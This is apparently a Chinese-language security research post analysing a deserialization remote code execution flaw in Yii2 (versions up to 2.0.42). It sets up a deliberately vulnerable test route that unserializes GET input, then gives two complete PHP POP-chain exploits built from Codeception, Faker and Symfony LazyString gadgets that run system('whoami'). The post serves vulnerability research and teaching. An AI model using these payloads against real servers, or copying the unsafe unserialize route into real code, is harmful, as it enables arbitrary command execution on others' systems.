Yii2 <= 2.0.42
研究Yii2最新的反序列化RCE,并参考作者思路挖掘新的Gadget
安装环境 1 composer create-project --prefer-dist yiisoft/yii2-app-basic yii2
把目录放到网站下,访问http://127.0.0.1/yii2/web
即可
然后在controllers/SiteController.php
文件下添加我们的测试路由:
1 2 3 4 public function actionTest ( ) { return unserialize (base64_decode ($_GET ["data" ])); }
漏洞利用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php namespace Faker ;class DefaultGenerator { protected $default ; function __construct ($argv ) { $this ->default = $argv ; } } class ValidGenerator { protected $generator ; protected $validator ; protected $maxRetries ; function __construct ($command ,$argv ) { $this ->generator = new DefaultGenerator ($argv ); $this ->validator = $command ; $this ->maxRetries = 99999999 ; } } namespace Codeception \Extension ;use Faker \ValidGenerator ;class RunProcess { private $processes = []; function __construct ($command ,$argv ) { $this ->processes[] = new ValidGenerator ($command ,$argv ); } } $exp = new RunProcess ('system' ,'whoami' );echo (base64_encode (serialize ($exp )));
漏洞分析 入口点在vendor/codeception/codeception/ext/RunProcess.php
的__destruct
方法中,这个方法很早就有人用了,但是官方还没禁止其反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class RunProcess extends Extension { public function __destruct ( ) { $this ->stopProcess (); } public function stopProcess ( ) { foreach (array_reverse ($this ->processes) as $process ) { if (!$process ->isRunning ()) { continue ; } $this ->output->debug ('[RunProcess] Stopping ' . $process ->getCommandLine ()); $process ->stop (); } $this ->processes = []; }
触发vendor/fakerphp/faker/src/Faker/ValidGenerator.php
的__call()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class ValidGenerator { public function __call ($name , $arguments ) { $i = 0 ; do { $res = call_user_func_array ([$this ->generator, $name ], $arguments ); ++$i ; if ($i > $this ->maxRetries) { throw new \OverflowException (sprintf ('Maximum retries of %d reached without finding a valid value' , $this ->maxRetries)); } } while (!call_user_func ($this ->validator, $res )); return $res ; }
上面的call_user_func_array()
方法可以利用vendor/fakerphp/faker/src/Faker/DefaultGenerator.php
中的__call()
方法返回自定义值
1 2 3 4 5 6 class DefaultGenerator { public function __call ($method , $attributes ) { return $this ->default ; }
补充 Yii2的补丁大都是直接加一个__wakeup()
方法抛出错误禁止反序列化,即黑名单过滤
跟着作者的思路,全局搜一下__destruct()
方法,能用的基本就只剩下上面那个RunProcess
类了
只能去搜一下__call()
方法,然后发现了下面的UniqueGenerator
类,和上面用到的ValidGenerator
类很相似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 namespace Faker ;class UniqueGenerator { public function __call ($name , $arguments ) { if (!isset ($this ->uniques[$name ])) { $this ->uniques[$name ] = []; } $i = 0 ; do { $res = call_user_func_array ([$this ->generator, $name ], $arguments ); ++$i ; if ($i > $this ->maxRetries) { throw new \OverflowException (sprintf ('Maximum retries of %d reached without finding a unique value' , $this ->maxRetries)); } } while (array_key_exists (serialize ($res ), $this ->uniques[$name ])); $this ->uniques[$name ][serialize ($res )] = null ; return $res ; }
搜索__sleep()
方法,来到了熟悉的LazyString
类,到这里的思路应该就是全局搜一下call_user_func()
方法,看看有没有可控的触发函数,这里我们就直接使用去年就已经被挖出来的LazyString Gadget
吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 namespace Symfony \Component \String ;class LazyString implements \Stringable , \JsonSerializable { public function __sleep ( ): array { $this ->__toString (); return ['value' ]; } public function __toString ( ) { if (\is_string ($this ->value)) { return $this ->value; } try { return $this ->value = ($this ->value)(); } catch (\Throwable $e ) { if (\TypeError ::class === \get_class ($e ) && __FILE__ === $e ->getFile ()) { $type = explode (', ' , $e ->getMessage ()); $type = substr (array_pop ($type ), 0 , -\strlen (' returned' )); $r = new \ReflectionFunction ($this ->value); $callback = $r ->getStaticVariables ()['callback' ]; $e = new \TypeError (sprintf ('Return value of %s() passed to %s::fromCallable() must be of the type string, %s returned.' , $callback , static ::class , $type )); } if (\PHP_VERSION_ID < 70400 ) { return trigger_error ($e , \E_USER_ERROR); } throw $e ; } }
给出最后的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php namespace yii \rest { class IndexAction { function __construct () { $this ->checkAccess = 'system '; $this ->id = 'whoami' ; } } } namespace Symfony \Component \String { use yii \rest \IndexAction ; class LazyString { function __construct ( ) { $this ->value = [new indexAction (), "run" ]; } } class UnicodeString { function __construct ( ) { $this ->value = new LazyString (); } } } namespace Faker { use Symfony \Component \String \LazyString ; class DefaultGenerator { function __construct ( ) { $this ->default = new LazyString (); } } class UniqueGenerator { function __construct ( ) { $this ->generator = new DefaultGenerator (); $this ->maxRetries = 99999999 ; } } } namespace Codeception \Extension { use Faker \UniqueGenerator ; class RunProcess { function __construct ( ) { $this ->processes[] = new UniqueGenerator (); } } } namespace { use Codeception \Extension \RunProcess ; $exp = new RunProcess (); echo (base64_encode (serialize ($exp ))); }
参考 Yii2反序列化RCE 新POP链
Yii反序列化分析